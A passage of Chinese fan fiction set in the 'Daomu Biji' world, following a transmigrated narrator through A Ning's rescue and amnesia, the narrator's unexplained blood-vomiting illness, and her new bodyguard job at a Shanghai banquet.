她身后是黑渊,眼里反射着灯光。我知道这恐怕是最后一面,有些不忍心,我想说再见,但这显然是不可以的,于是也说了声“小心”。
不知道是不是我这个人很难掩饰情绪,被陈文锦捕捉到了什么,她看了看我,手在唇边一掩,挡住吴邪视线,对我做了个口型“再见”。
接着,她头也不回地爬进深渊,消失在深处。
过了一个小时,陈文锦失去了回应。
胖子马上把绳子往回拉,空空如也的绳子嗖嗖掉出来,摔成一团。
阿宁捡起绳子头,脸色难看:“没有断口,她自己解开了绳子。”
闷油瓶立刻重重一拍胖子的肩膀,整个人窜入孔洞,连绳子也没系。
阿宁拿着绳子,就要往腰上套,神色严肃:“我也去。”
我立刻制止她,双手抓住绳子:“不行!这个洞口太小了,如果你们遇到什么危险,转身都来不及。救人一个人就行了,我们还是先等他们出来吧。”
阿宁迟疑了下,看了一眼黑洞,还是同意了。
吴邪一直盯着洞口,希望看到他们回来,阿宁除了休息就是和他一样看洞口,两个人跟魔怔了似的。
四个小时过去,还是没有动静,期间阿宁多次想进去,都被我以各种理由拦下来。
终于,在我再次出言阻拦后,阿宁爆发了。她打开我的手,语气不好地说:“林霖,不要再拦我了,我一定要进去看看。”
我扑到她旁边,绞尽脑汁地说:“里面真的太危险了,我……”
话音戛然而止,一把冰冷的匕首抵在我脖子上。皮肤上传来凉意,像谁给我环上了一条金属项链。可惜它不是好看的饰品,而是杀人的利器。
阿宁脸色很不好,似乎是被我耗尽了耐心,她森然的眼神盯着我,像看一个陌生人:“让开。你是我的谁,要管我的事?”
我大脑一片空白,心里顿时凉了半截。苦涩委屈难过的情绪不断涌上来,眼眶发烫。
我知道她是个狠辣无情的人,一路走到这里,我本以为一起经历了这么多,我和她也算半个朋友。血尸那里,我落后了,所有人都不敢折返,只有她毅然回来救我。我还心里偷偷想着她是不是也有点喜欢我。
被这个眼神一看,这句话一说出口。我什么旖念都没有了,美梦像泡沫一样消散,一切不过都是我一个人的兵荒马乱,在人家心里,我可能连朋友都不是。
我僵立在原地,眼泪控制不住的流下来,阿宁看也不看我,漠然地收回匕首,捆好绳索。
我心脏一抽一抽的疼,喉咙发紧,几乎说不出来话,泪眼朦胧地拉住她,抽泣着说:“阿宁,你听我的,我不会害你的。这个陨玉,真的不能进去……”
“里面有什么?”她忽然问我。
“我不知道。”我说,事情似乎有转机,我扯着她袖子,哀求地说:“但是我可以肯定里面极其危险,西王母坐化在这块陨玉下面,一定有什么理由让她选择了这里。也许里面有我们人类无法理解的东西。我不想让你送死,我来到这里,不是来看着你死的,我想要你好好活着,你不能死……你不要死……”
我哭的语无伦次,心脏被揪紧了,一阵一阵的痛。我抓着她袖子不敢放手,我怕稍微松点劲,她就像一朵云一样飘走了。
我听到阿宁说:“好。”
她不去了?我心里狂喜,简直难以置信,正想问问是不是真的,后颈突然一痛,接着我失去了意识。
不知道过去了多久,我头痛欲裂地醒来,后颈还隐隐作痛。吴邪扶我起来,我茫然地看着他逃避的眼神,悚然一惊:“她进去了?”
吴邪避重就轻:“你先喝点水吧。阿宁她有分寸的,小哥也在里面,应该没事。”
我瞬间没了力气,心中万念俱灰,闭上眼睛,痛心极了。
无力感深深包裹了我。我还是什么都没有改变,蛇沼鬼城的开头我救了她,结尾她竟然还是逃不掉死亡的命运吗?那我来到这里究竟是为了什么?我所做的一切又有什么意义?
我心里甚至有些怪阿宁,她为什么非要去危险的地方一探究竟?听我的不好吗?
眼泪顺着脸颊滑落,我眼神呆滞地看着头顶陨玉,一个个黑洞仿佛一颗颗眼睛,嘲讽地睨着我。
我突然笑了两声,感到十分没劲。是了,我又不是她的谁,她想做什么,我也拦不住,人家也没必要听我的。
她有她的追求,有探索的信仰。冒险对她来说,就是生命的体验。为了信仰,付出生命她也是愿意的吧?那我又怎么阻拦她呢?
我请吴邪让我静一静,一个姿势呆坐了很久。
我很累很累,脑子里什么也没想,只是在发呆。
过了一
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会儿,开始想我人生头一回这么低声下气的求人,竟然还没成功,也是一种新奇的经历;又胡思乱想,上一次哭这么伤心不知道是什么时候了,好像是第一次看到爸爸妈妈吵架,那是很小的时候了。
从那以后我就没哭过了,没想到多年后再次哭泣,是为了一个纸片人。
没头没尾的想了很多,胖子凑过来,给我食物,开导了我几句,吴邪自己也很担忧,还安慰我一番。
我吃了点东西,站起来盯着黝黑的洞口,让胖子帮忙,尝试着爬进去,我觉得自己真是疯了,明知道这里面有多危险,竟然也想进去。
但我爬不进去,几乎90°的垂直通道里,我只能勉强支撑自己慢慢前进,像蜗牛一样,一不小心还会掉下去一点,爬了半天都原地踏步,体能也跟不上,脱力地滑下来,已经出了一身的汗。
吴邪也是这样,我们俩疯了一样每隔一段时间就尝试往里爬,胖子被踩的苦不堪言,看表情是想让我们别折腾了,但不敢说话。
一天一夜过去了,洞口依然漆黑,毫无动静。
我一直仰着头看洞口深处,脖子发酸,眼睛看到奇怪的五彩光斑。我开始出现幻觉,总觉得洞口深处有灯光闪过,阿宁会回来。
胖子强制我立刻休息,我根本睡不着,不断地惊醒。整个人精神状态非常糟糕。
三天后,还是没有人回来。拖把他们想走,开始闹,说人死在面了,让我们别管了。
我和吴邪已经非常敏感,最不能听“死”这个字。吴邪要起来干他们,被胖子拉住,但我扶着石头站起身来,幽幽地盯着拖把:“你再说一遍?”
拖把这几天也看到我的样子了,立刻畏缩了一下,又有些恼怒,色厉内荏道:“怎么了,难道我说的不对吗?这都四天了,没一个人出来,不死……”
我立刻拔枪对他头顶扣动扳机,子弹擦着他头发飞过去,烧焦一片,蛋白质燃烧的气味散播开来。
我看着他惊恐的样子,冷笑起来,心中没有害怕,只感觉出了一口恶气。我承认我早就看他不顺眼了。
我端着枪,依然保持持枪的姿势,我疯狂地想,要是他们还手,我就和他们同归于尽,反正阿宁也死了,我死了说不定还能直接回家。
拖把明显怕了,又惊又惧地看着我。可能是我的样子太吓人,所有人都呆住了,也没人给我来一枪。
胖子率先反应过来,一把夺下我手里的枪,半扶着我。拖把那边无人敢说话,都忌惮的侧目。
“你……你狠!”拖把放了两句狠话,一群人很快带着物资离开了这里。
我精神恍惚,迟钝的环顾四周,吴邪和我对视,竟然后退了一步。
我无力地垂下手,跌坐在地上,浑身不可遏制的发起抖来,牙齿嘚嘚作响。我双手插到头发里,整个人缩成一团。
老天啊,我究竟变成了什么样子,都敢对人开枪了。阿宁…阿宁…我求求你快点出来,我快要疯了……
13. 蛋糕
浑浑噩噩不知道几天过去,我除了吃东西就是望着黑洞发呆,有时候我怀疑我是不是已经变成了一具行尸走肉,其实灵魂已经被这个陨玉吃掉了。
吴邪和我差不多,任何声音都能让我们跳起来,疑神疑鬼。胖子受不了了,强行给我们打了镇定剂,我陷入昏睡。
脑子里又有奇怪的声音,我睁开眼,却发现这声音没有消失。
我一骨碌爬起来,和身边惊醒的吴邪对视了,我们猛然看到,地上多了两个人!
“阿宁!阿宁!”我连滚带爬地扑过去,颤抖着试探她鼻息,细微的热气打在我指尖,我大大松了一口气,俯下身死死搂着她,劫后余生一样失声痛哭。
狂喜席卷了我的全身,我不断地确认她是活着的,不是我的臆想,不是我在发疯,她确确实实回来了,活着回来了。
我又哭又笑,好不容易镇定下来,又开始担心,我摇晃阿宁,想让她醒醒,但她始终紧闭双眼,毫无反应。
闷油瓶一直在发出梦呓似的声音,吴邪急的像热锅上的蚂蚁,胖子给闷油瓶打了镇定剂,他才安静下来。
我们给昏迷的人喂了水,好在他们还有意识,喝下了水。
人出来了,胖子立刻要走,我们的补给不多,能不能撑到回去都是个问题,但陈文锦还没出来。
吴邪站起来踱步,担忧地说:“文锦阿姨还没出来,我们不能抛下她。”他看了我一眼,问:“林霖,她走的时候对你说的什么?你可别抵赖,我看到她挡着我视线了。”
我惨然道:“不用等了,她对我说的是‘再见’。她不会再回来了。”
吴邪愣了很久,抓着我问我是不是真的,但他也不是向我确认,只是难以接受。
我们出发回程,闷油瓶醒来十分恍惚,谁问都不说话,跟着我们走。阿宁一直没醒,我闷头背着她走,时不时探探她体温。
地下湖的一边,我们发现了另一个通道,似乎是活路,有风。所有人都不说话,吃力的往上爬,我背着阿宁很累,也不愿意换别人背她,总是害怕一松手她就不见了。
后来到了极限,吴邪半强迫我把阿宁换成他背,我一直跟在他身后,眼睛不离开半分。
走了很久很久,期间我发起烧,又冷又热。胖子给我打了针,背着我走了好一段路,在我清醒的时候嚷嚷我应该付他服务费,他肥膘都累没了。
我好点后自己下来走,最后我们所有的食物都吃完了,又忍着饥饿走了两天,走到了雨林上面,看到了天空。全凭着求生的本能不停地走了一天一夜,终于走出了峡谷。
看到前面救援人员的一瞬间,脑子里紧绷的弦立刻断了,我失去了意识。
我昏睡了三天三夜,醒来时,浑身疼痛,骨头都要散架了。床头打着点滴,我身上被清理干净了,皮肤上全是大大小小的青紫淤血和细小伤口。
阿宁醒了,但看我的眼神无比陌生,她失忆了。
我忍不住流泪,对她说你活着就好,我也只求你活着。
阿宁很轻地拧眉,依然是很陌生的眼神,她静静地看着我,眼睛里没什么情绪,伸出手抚过我的眼尾,沙哑的嗓音说:“别哭。”
我哭的更惨了。
车队出发,穿过戈壁,吴邪他们和裘德考的人取得了联系,阿宁的车队立刻接上我们,直接把我们拉到了格尔木最好的医院。
我、阿宁、吴邪、闷油瓶、胖子、潘子都穿上了病号服,整整齐齐住了院。
阿宁在重新熟悉她的业务,她失忆了,但能力还在,经过她手下的一番汇报,大致了解了情况,坐在床上拿苹果笔记本电脑开视频会议。
我抱着不知道谁给我泡的枸杞茶,像个悠闲的大爷一样走来走去,各个病房乱窜。
吴邪胖子和我经过这么一遭,也算建立起了革命友谊,吴邪问我有什么需要,我想了想,说我现在没有身份证,是个黑户。
吴邪一个电话打给家里某个长辈,长辈又打电话给这里的派出所,隔天就有人来医院给我拍照,下午崭新的身份证就送到了我手里。
胖子问我,“林霖,你家上海的啊,胖爷我北京的,以后有空来找我玩,带你吃最正宗的北京烤鸭。”
我说行,吴邪在一边跟闷油瓶说话,闷油瓶也不理他,吴邪郁闷的很。
这个病房只有我们几个人,我千叮咛万嘱咐他们千万别和阿宁透露我的来历,我怕她抓我回去研究。
吴邪说:“你放心吧,她那几个手下问我,我都说你是我朋友,他们没起疑。我还跟他们说你救了阿宁,你没发现他们对你很友好吗?”
我说怪不得,手里的枸杞茶大概就是他们泡的。
吴邪问我有什么打算,我说打算回家。
这么说的时候我也很迷茫,我家是在上海没错,但那是二十年后。记忆里我家是后来才搬到上海的,因为妈妈从商,总是三天两头去上海谈生意签合同,后来我们为图省事就搬去上海了。在我很小的时候,我家住在安徽,具体哪个城市我也不记得了。
现在想找爸妈叙叙旧都找不到人。我叹了口气,也不知道他俩现在在干嘛。
病房门被扣响,玻璃外面,一个金发碧眼的老外冲我挤挤眼,看样子是找我的。我捧着保温杯出去,他用蹩脚的汉语说:“林…小姐,宁……strawberry cake你请……”。
他急的脸都憋红了,打手势请我这边走。
……
另一个病房里。
阿宁合上笔记本,病床边围了一群人。
“宁姐,老板怎么说?”一个穿着背心,肌肉虬结的大汉问。
阿宁靠在床上,捏了捏眉心:“老板的意思是暂时搁置我的工作,他会派专人负责我手里的事。让我这段时间好好休息,他说上海过段时间有一个晚宴,带我去见见一些老熟人,看看能不能想起来什么…嘶……”
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>阿宁嘶了一声,单手扶住头,立刻有人要去叫医生。阿宁打一个停下的手势,说:“……小蛋糕。”
手下愕然:“什么?”
阿宁拧起眉,神色莫名:“草莓……小蛋糕?”
有人说:“宁姐你你你想吃草莓蛋糕?我去买。”
大汉夺门而出,其他人面面相觑,一脸见鬼。
阿宁感觉好点了,按了按太阳穴,扫视一圈他们的神色,问:“我以前不吃草莓蛋糕的吗?”
一屋子的人都摇头,整齐划一:“宁姐你从来不吃甜品,你对吃的没有太大追求。”
阿宁若有所思。
蛋糕买回来了,一众大汉瞪着一个小小草莓蛋糕,场面略显滑稽。阿宁盯了蛋糕一会儿,忽然说:“去请林小姐过来。”
于是我就被请到了这里。
我坐在椅子上,手里拿着叉子,面前是一个六寸的蛋糕,上面铺满了草莓。我一脸懵,阿宁的手下说:“林小姐,我们宁领队请你吃蛋糕。”
我讷讷地说:“谢谢?但怎么突然请我吃蛋糕……感觉怪怪的。”
我是用英语说的,手下们有点着急的脸立刻好起来了,有人插嘴说:“我们在宁的背包里发现了一只可爱的兔子背包,这大概是林小姐的东西。吴邪先生说你救了宁,我猜测宁已经和你建立了很深厚的情谊,不然宁不会在失去全部记忆的情况下,还记得林小姐喜欢吃草莓小蛋糕。哦,老天,我们的宁竟然会说出草莓小蛋糕这几个词,这是多么令人震惊啊!”
立刻有人从身后拿出我的兔子背包,它被洗干净了,两只长耳朵垂下来。
我心说我也没和阿宁说过我喜欢草莓小蛋糕啊,不过人都把蛋糕送来了,我不吃不是不识抬举吗,就纳闷地吃起来。
胖子来看热闹,扛着吊水就过来了,大怒:“好啊林霖,我说你跑出去干嘛,原来搁这吃独食呢。阿宁我说你这事做的不厚道,你昏迷的时候,谁把你背出来的?我们三个轮流背的!你就给林霖吃蛋糕,还有没有天理了!”
阿宁气定神闲地说:“王胖子,我是失忆了,不是傻了,据我所知,我们关系一般。而且要说救命,在之前,我恐怕也救过你吧?”
胖子直呼她精明,哼哼唧唧地强调他有多累多累。
阿宁本来就是逗他玩的,笑了笑,一扬下巴:“有你的份,吃……”
我忽然感到腹部有什么东西上涌,也不是犯恶心的那种呕吐感,赶紧挖了一口蛋糕企图压下去。
但不太行,感觉更强烈了,我抑制不住,直接噗地吐出一口血,没吃几口的小蛋糕立刻血红一片,我呆呆地盯着它:“啊,好可惜。”
所有人惊呆了,我大口大口地吐血,血很快染红前襟,我没有什么痛感,笑起来说:“那个,噗……我觉得……我还能再抢救一下……”。
胖子瞪圆了眼,后退几步指着他们:“蛋糕里有毒!你们,竟然下毒害她!”
14. 命运
买蛋糕的人脸都吓白了,大声否认,有人冲了出去叫医生,胖子大吼大叫打翻了吊水,玻璃渣被人踢的到处都是,场面顿时乱成了一锅粥。
走廊脚步极速逼近,训练有素的医护冲进来,一把推开一群大汉,把我抱上轮滑床,风驰电掣地轰隆隆推走了。
……
我无聊地看着天花板,竖起耳朵听外面的人说话,但是啥也听不见。护士姐姐给我掖被子,我冲她一笑,撒娇道:“姐姐,他们在外面说什么呢,我得了什么病?”
“你们也不知道?”阿宁有点惊讶。
医生推了推厚厚眼镜:“目前看来是这样的,我们一开始以为是某种并发症,但经过检查,林霖的身体非常健□□命体征正常。血压、呼吸正常,血常规正常,心率偏高,但这是因为林霖有些害怕,属于正常值。”
胖子怀疑地看她,说:“那小林怎么哇哇吐血,不是蛋糕有毒吗?不会是你们查不出来,搁这胡扯吧。”
医生面无表情:“请不要质疑我的专业性,我是北京协和医学院临床医学专业本硕博连读八年制毕业生,你可以找院长翻一翻我的履历。”
她转向阿宁:“蛋糕没有问题,但林霖还在康复期,不建议吃高糖食品。你们谁是病人的家属?现在我有关于病人身体状况的报告,不适合太多人听。”
大家面面相觑,吴邪说:“林霖她家人不在……”
“我。”阿宁简洁道。
吴邪拐了个弯:“但是我们都是她好朋友,你跟我们说吧。”
医生扫了他们一眼,阿宁手下立刻走开。
走廊空荡起来,医生开口,神色颇为凝重:“病人无故呕血这种情况,很少见,经过检查,排除了心理、病理因素。据病人自己说,也没有感觉到疼痛或不适。目前看来,我们找不到原因。”
她继续说:“但我观察对比了林霖自从入院到现在的各项指标,我发现她身体各项机能持波动下降趋势,变化非常细微,几乎可以忽略不计,加之她本人完全没有任何不适,这看起来像是我的错觉。但和她无故呕血一结合,这令我不得不慎重,请问林霖之前是否有过呕血情况?”
吴邪说:“吐血倒是没有,但她流过鼻血,在祭…景区流过一次,其他时候我不知道,阿宁,你还能记得她在你那有没有流过鼻血吗?”
阿宁摇头:“完全不记得。”
医生思索片刻,道:“那可能之前就有征兆。”
她收起圆珠笔,严肃地说:“如果林霖这种情况持续下去,会造成非常严重的后果。现在还看不出来,但未来身体机能持续下降,很有可能出现MOF,也就是多器官功能衰竭症状。当然,这是最坏的结果。我建议你们带她去大城市再看看,格尔木这里查不出来任何缘由。”
走廊很沉默。
半晌,医生又说:“我致电了一位学中医的学姐,她仔细听了我的转述,告诉了我一些话,希望你们能做好心理准备。”
阿宁比个手势:“请说。”
医生看着阿宁,这几天观察,她知道这伙人应当不是普通人,不然她也不会冒着职业生涯毁灭的风险告诉他们这些。
她深吸一口气,郑重道:“我的学姐告诉我,当医学和科学无法作出解答,那就是有一种其他的力量降临在了林霖身上。”
我躺在病床上,百无聊赖的玩贪吃蛇。
护士姐姐不告诉我我怎么了,我看她那样子她可能也不知道。门上玻璃一直有人影在闪,看来他们还在说。
手上这种按键手机真是老古董了,吴邪还得意洋洋地说他给我买的最新款,差点给我笑死。
我录入了吴邪胖子的手机号,想着要不要问阿宁要号码,很犹豫。
有人进来了,我把手缩进被子里。
是阿宁他们,我问:“医生怎么说?”
阿宁回答:“医生说你是疲劳后的后遗症,草莓蛋糕刺激了胃黏膜,导致胃出血。这个怪我,不该给你吃蛋糕。”
我说:“那我什么时候能吃点好的,天天吃营养餐人生还有什么乐子。”
胖子一脸赞同,吴邪看起来有点担心。
阿宁看着我,说:“这里的医疗水平一般,过两天我带你去上海看看,做个全身检查。你家是上海的吧,正好送你回家了。”
我有点怵,一是这样的话要呆在阿宁身边,万一她突然恢复记忆桀笑着绑架我,那对我来说真是恐怖片了;二是我在上海没家啊,也没钱,上海物价这么高,我去上海流落街头吗。
我拒绝了:“不了吧,我感觉自己没什么大问题,也不想这么快回家。我还没玩好。”
他们几个出去了,让我好好休息。
阿宁手下很热络,跑进来给我忙前忙后。果盘里的水果是新鲜的,水杯里的水是温热的,还有人给我买了一堆霸道总裁爱上我的言情小说,一脸求夸奖地推给我。
我哭笑不得,日子就这样过了几天。好在我没有在出现吐血的情况了,身上伤口都愈合了。
阿宁的手下细心的不得了,请了理发店托尼给我做头发,我鸡窝一样的头发终于恢复了栗色大卷,美的我不行,揽境照半天。
我依然拒绝了阿宁的邀请,阿宁公司的私人飞机到了,她要走,没办法,给我留了号码,还在我枕头下面放了一张银行卡,密码短信发我了,说是谢谢我救了她。
我一查,里面有十万块钱,拿着吧,有点烫手,不要吧,又有点舍不得。
犹犹豫豫间,吴邪和胖子都劝我收了,吴邪还想给我塞点钱,最令我震惊的是,死胖子竟然也表示要请我玩。
我说:“不是吧你们,我是要死了吗都对我这么好。”
场面静了一静,吴邪立刻夸张地笑起来,狂拍大腿,后来又说了点笑话,我表示困了,他们就出去了。
我收起笑意,猛的把头一蒙,在被子里看手里的银行卡。
不会吧,真被我猜中了?
人听到某个难以接受的坏消息时,往往会很茫然,或者有一种抽离感,没有实感。我现在就是这
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样,一点也没感觉,甚至有点想笑。
这下真把自己作死了。我理直气壮地收起卡,也不用纠结什么钱不钱了,十万块,买我小命,看不起我啊啊。
我大概能猜到一点,医生和他们说这么久的话,还偷偷避着我,肯定有问题。只是我没想到,这次是真的要完蛋了。
我应该早就有这种觉悟,干涉她人因果,就要承担她人命运。阿宁活了,就需要有个人代替她死,以补全世界的运行规律。
其实我在吐血的时候就有预感,当鲜血涌出我的口鼻,生机也随之慢慢流逝了。
……
我背起兔子背包,在机场和吴邪他们告别,踏上前往上海的飞机。
我决定好了,人生在世,就要痛痛快快的玩,管它还有几天,我都要死了,此时不玩更待何时!
……
上海某高楼。
阿宁端着一杯茶,站在落地窗前望着远处,一架飞机在云层中穿过,向下降落。
身后有人扣扣门。
“进。”阿宁转身,坐在椅子上。
“查到了吗?”
穿着干练的下属迟疑了下,说:“并没有,我们的人没有查到任何关于林霖的信息,有的只是同名的无关人员。她的个人资料不在系统里,从小到大的学业、生活经历一片空白,在上海的家庭住址那里是另外一户人家,据她们说,从来没有听过林霖这个人。我们着重查了她到达格尔木的购票记录,完全…没有留下一丝痕迹。”
下属觑着阿宁的脸色,小心说出结论:“这个人,就像凭空冒出来的一样。”
阿宁打开她递过来的资料,只有薄薄一面纸,林霖证件照微笑看着她,她盯着林霖,自言自语:“难道你是中国政府机密人员?”
下属摇头:“不像,这两年我们不是没和此类人打过交道,林霖的气质一看就不像。”
下属有点困惑,问:“宁,你为什么对她这么在意?这不像你了。林霖身份虽然有点奇怪,但目前看来,她对我们没有威胁性,和我们并没有什么交集。难道是你对她的病情怀有愧疚?但医生不是说和草莓蛋糕无关……”
“不。”阿宁说,“我有一种感觉,她和我有很大关系,她的情况,和我有关。”
下属耸耸肩:“好吧。难得我们冷酷的宁对工作之外的人和事感兴趣。你让我派人跟着她,我看看…”她敲了敲耳麦,汇报道:“很巧,我们的人刚和她一起下飞机,现在她已经到了浦东国际机场。”
……
“林小姐直接打车去了浦东香格里拉大酒店,订了一个月浦江楼套房,被经理引上去了……”
“林小姐在里面呆了两天,没有出来…餐让人送上去的……”
“今天林小姐去坐了个spa,租了一辆玛莎拉蒂驱车去上海大剧院看了场话剧……对,刷的你的那张卡。”
“林小姐去酒吧了,蹦到凌晨……唱着摇滚音乐回去了…看起来很开心。”
“林小姐……”
……
15. 再见
我往死里玩了半个月,真是乐不思蜀了,兜里的钱流水一样花出去,很快就花了大半。
我窝在柔软的沙发上,一想这样不行,我得找个工作,不然我人还没死,钱先没了。
我按了服务铃,把经理叫来,问她有没有什么推荐的工作。她稍微有点诧异,但很快热情的告诉我,上海有个国际饭店正招主管,要求英语口语流畅,本科学历。
我说我没有本科学历,她又说了其他几个工作,我都说学历不匹配。
经理斟酌着说:“您是在外国上学的吧?国内也是承认外国学历的……”
我挠挠头,说算了,我去找找,说着就要走,她叫住我,说:“您看起来不像没上过学的,这样,我推荐给您一个人,您找她面试,您英语很好,应该可以胜任这份工作。”
我谢过她,坐车到面试地点。
这是一个大饭店,我报了名字,有人带我穿过金碧辉煌的走廊,来到一个大厅。
大厅里有两波人,一波是一群漂亮姐姐和漂亮男孩,穿着中式汉服,个个高挑优雅;另一波是一群保镖,虎背熊腰。
一个穿职业西装的女人走过来,朝我点点头:“你好,林霖?”
我和她握手,我们在一边坐下,客套几句,她打量了我一下,说:“我们饭店招聘应侍生和保镖,要求双语流畅,你,是来应聘应侍生?”
我犹豫了下,看了眼保镖们腰间的配枪,问:“哪边工资高?”
……
“砰砰砰!”
空中飞碟四分五裂,我放下枪,对总经理笑了笑。
围观的保镖原本还一脸嘲笑鄙夷,现在都瞪大眼睛看我。我的固定靶射击、精度射击、速射、移动目标射击全部遥遥领先,没有人再敢多说一个屁。
总经理两眼发亮,当场敲定我入职,和我介绍一番国际饭店的工资待遇,还照例画了个饼。
我一心二用地听着,看到前面走廊岔路口,忽然众星捧月走过去一堆人,饭店的领导陪在旁边,脸都快笑烂了。人群里有个侧脸格外熟悉。
我大吃一惊,阿宁怎么在这里?
总经理也看到了,叮嘱说:“那几位就是你们要着重负责安全的人,还有其他几位,待会儿会有人给你做培训。我们预计本周六晚八点开始一场商政性质的晚宴,美、法几国都有重要人物参加。上面很重视,给派了人,配了枪,不然我们的保镖持枪都是违法的。”
我回过神来,点点头,跟着她去拿我的保镖装备。
培训时,果然在一众西装革履的体面人里看到了阿宁和裘德考。
裘德考十分苍老,看起来活不了几年了。我对这个老登没什么好印象,他为了自己的一己私欲害死了多少人?
人类是贪心的生物。人到了一定的身份地位,当他们拥有了权力,金钱,快乐等等所有他们想要的一切时,他们就会想长长久久的掌控这些,所以古时候的皇帝也好,现在类似裘德考的人也好,他们都想要长生,已经到了疯魔的地步。
老外们长的都差不多,我都快看脸盲了,好在总算记下来,被总经理放走了。
她给我开的工资很高,月薪过万,我打算干几个月就拿钱走人,游览一下祖国的大好河山,拜访拜访吴邪胖子,就找个安静的地方死掉。
我在公交站台上了车,找了个靠窗的位置坐下,没一会儿,上来一个大爷。
他先是用小眼睛扫视了一圈,估计看我好欺负,在我旁边杵着。我纹丝不动,他重重哼了一声:“你们年轻人现在都这么没素质,看见老人都不知道让座。”
我熟视无睹,看着窗外景色。
看我没反应,他有点生气了,“说你呢!小丫头,你年轻力壮的,好意思霸占座位吗?你们这些年轻人,吃的穿的都是我们老年人创造的,现在让个座都不愿意。”
身后传来窃窃私语。
我腾的一下站起来,慌慌张张说:“快来,您老请坐,我没看到啊,不好意思。”
老头吓一跳,不满地点我两下:“干什么毛毛躁躁的,一点不稳重!”
我说对对对,拉着头上的扶手,选了一个合适的站姿,目露难过:“也不是我不想让座,我刚从医院出来,医生说我得了绝症,没几天好活了,这不太伤心了……”
公交车一静,我继续表演,挤出两滴泪,脸色变得苍白,编了一个悲惨的故事。有人面露不忍,谴责的眼神压在老头身上。
老头有点慌,说:“你胡扯!我看你好的很……”
我脸色煞白,噗嗤一口血喷出来,吐到老头身上,边道歉边精准吐在他身上:“不好意思……我控制不住……”
老头傻眼了,众人吓坏了,一时间,搀扶我的、指责老头的、要打120的,热闹极了。
老头怕我讹他,突发恶疾大喊大叫,中气十足的让司机放他下车,带着一身血迹跌跌撞撞跑了。
我制止要打120的路人,优雅的擦擦嘴,在下一站下车。
……
“林霖没有去医院?”阿宁听着报告,眼底闪过一丝好笑,问。
下属:“没有,林小姐很从容,回酒店就睡觉了,这段时间一次医院都没去过,我怀疑她可能知道些什么。情况似乎真的朝格尔木的医生预料的趋势发展了,我们需要出面带林小姐去美国看病吗?正好治疗一下你的失忆。”
阿宁点头:“晚宴过后,你请她过来。”
“还有,林小姐今天应聘成功了国际饭店的保镖职位,预计周六晚上会和你见面,你要做什么准备吗?”
阿宁莫名其妙:“我能做什么准备?”
阿宁摆摆手,说起别的,神色严肃起来:“我接到消息,老板的对头肖老板突然加入了这次晚宴,我怀疑她有什么企图。这次晚宴,恐怕不会太平。老板有必须参加的理由,我们需要保证他的安全。你把装备都备齐,周六在饭店外面增派人手,都警惕点。”
“是。”下属顿了顿,问:“宁,我有权限知道老板和肖老板之间有什么恩怨吗?”
阿宁看了她一眼,下属立刻要道歉,阿宁摇摇头说:“不是什么隐秘的事。十年前,老板在中国云南省发现了一个古滇国某位君王的墓,墓里陪葬了大量的青铜器,还有古滇国的巫医丹药。不巧的是,老板的人和肖老板碰上了,双方发生激烈火力冲突,导致墓道坍塌,肖老板的女儿死在了里面。她恨透了老板,誓杀老板为她女儿报仇。”
……
周六下午五点,我准时到达饭店,穿上制服,戴上对讲机,镜子一照,人模狗样的,还真挺像回事儿。
保镖也有不同的分工,一楼、二楼大厅各个角落都站着双手交叉的保镖,神色肃然。
我和几个枪打的好的人藏在三楼往上,有人还配了狙击枪。
七点,要员们陆续进场,我还看到了新闻上的一些熟面孔,不少纳税大户,青年企业家。
七点半,阿宁他们来了,裘德考穿着
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定制西装,胸口插了一朵玫瑰,很快和人攀谈起来。
阿宁始终跟着他,也是一身保镖劲装,和不少人点头示意。她端了杯淡金色的香槟,抿了一口,就放下了。她抬头环视,我赶紧躲在大柱子后面,过了会儿再向下看,她已经移开目光。
我挠了挠头,目光不由自主的跟随她。很快,我发现,她一直在一个地方徘徊,而不远处裘德考脸上挂起虚伪的笑,和一个一身唐装的老外交谈着。
我仔细一看,这老外是一个法国佬,给我的资料上写的她是个古董商人,常年活跃于全球各大拍卖场,她在中国被叫做肖老板。
能被请进这个晚宴的,都是有头有脸的人,我看她和裘德考笑里藏刀的样子,恐怕也是个狠角色。
“滋滋…林霖?”对讲机响了。
我说在,那边让我立刻下楼,替代一楼一个被调走的保镖。
大厅里,我鬼鬼祟祟摸过去,祈祷阿宁别看到我,这时,有个人大叫一声,十分惊喜:“林小姐!你竟然也在这里!”
是阿宁那缺根筋的手下,格尔木给我送霸总言情的大型哈士奇。
阿宁寻声看来,我只好挺起腰板打招呼:“嗨,好巧。”
哈士奇围着我转一圈,啧啧道:“林小姐,没想到你穿这一身这么酷!你是个酷女孩,我都快要爱上你了!”
我眼前一黑,恨不得把他嘴撕烂。阿宁走过来挑挑眉:“林霖,你在这里工作?”
我说没错哈哈,想起她之前邀请我去她们公司,我傲娇的给拒绝了,幸好她不记得了,不然我能尴尬的变成电钻打穿地球。
我们围在一起,哈士奇完全没受影响,扯着我兴奋地说话,这在安静的大厅略显吵闹。
动静引起了裘德考注意,很快有人给他耳语几句,他笑眯眯走过来,用破铜烂铁嗓子说:“林小姐?还没谢谢你救了我忠实的员工阿宁呢,要是没有你,我损失可就大了,我上哪去找阿宁这样的将才!”
他举起香槟,要和我碰杯,我抬起手想说自己没喝的,立刻有人给我手里塞了一杯酒,我只好硬着头皮喝了。
阿宁微笑着给我介绍她老板,我假装第一次认识他,适时的发出两声惊叹。
不少视线都往这边看,我如坐针毡,真想推开他们夺路狂奔。该死的对讲机这个时候反而不响了,裘德考问我为什么老是往那边看,我说我是来替补缺位的。
裘德考轻飘飘打了个手势,有人立刻走开,不一会儿,那边保镖的缺位就被补上了。
裘德考绅士地一笑,让我安心:“林小姐,现在你可以和我们一起喝一杯了,你放心,你不会被扣工资的。”
他说的幽默,周围人十分捧场,大笑起来。我夹在中间假笑,心里咬牙切齿,裘德考你个死老头是不是觉得自己老体贴了?
好不容易糊弄走裘德考,阿宁示意我跟她走,在一个人少的角落,她问我最近有没有什么事。
我说没事,她思考了下,问我考不考虑跟她去美国。她说:“我担心你的身体,如果你因为我有什么差错,我以后都不会安心的。”
我刚想说没事,忽然惊醒,心里大呼语言陷阱。疑惑地说:“我身体没事啊,跟你也没关系。”
“这样吗。”阿宁一直盯着我,看样子有点怀疑。
我后背惊出一身冷汗,她太聪明了,人都失忆了,竟然还能推理出这么多。
默默抬头看她,两相对视,她依然是我看不懂的眼神。
16.逃命
我心里一团乱麻,火气一下就上来了。感觉糟糕透了!她又不喜欢我为什么还要这样来试探我,她根本什么都不知道!她不知道我是谁,她不知道我为了她都做了什么,我又付出了什么代价,她也不知道我对她怀着怎样的感情!
现在还对我说这样的话,用这样的眼神看我!她知道这对我来说意味着什么吗!
